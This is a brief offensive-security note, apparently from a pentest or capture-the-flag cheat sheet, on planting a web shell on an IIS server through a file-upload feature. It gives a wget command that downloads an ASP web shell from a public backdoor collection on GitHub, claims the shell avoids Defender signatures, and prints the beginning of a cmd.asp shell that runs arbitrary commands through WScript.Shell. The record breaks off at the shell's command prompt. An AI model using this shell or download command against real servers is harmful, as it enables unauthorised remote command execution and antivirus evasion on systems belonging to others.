# IIS - webshell
* There is a simple asp.net application on , this application only give us a simple file upload functionality.
* From there we can upload a basic aspcmd in asp : aspcmd.asp (at the time of writing, this avoid defender signature)
### aspcmd.asp
```
wget https://raw.githubusercontent.com/backdoorhub/shell-backdoor-list/master/shell/asp/aspcmd.asp
```
### cmd.asp
```
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
Enter command:
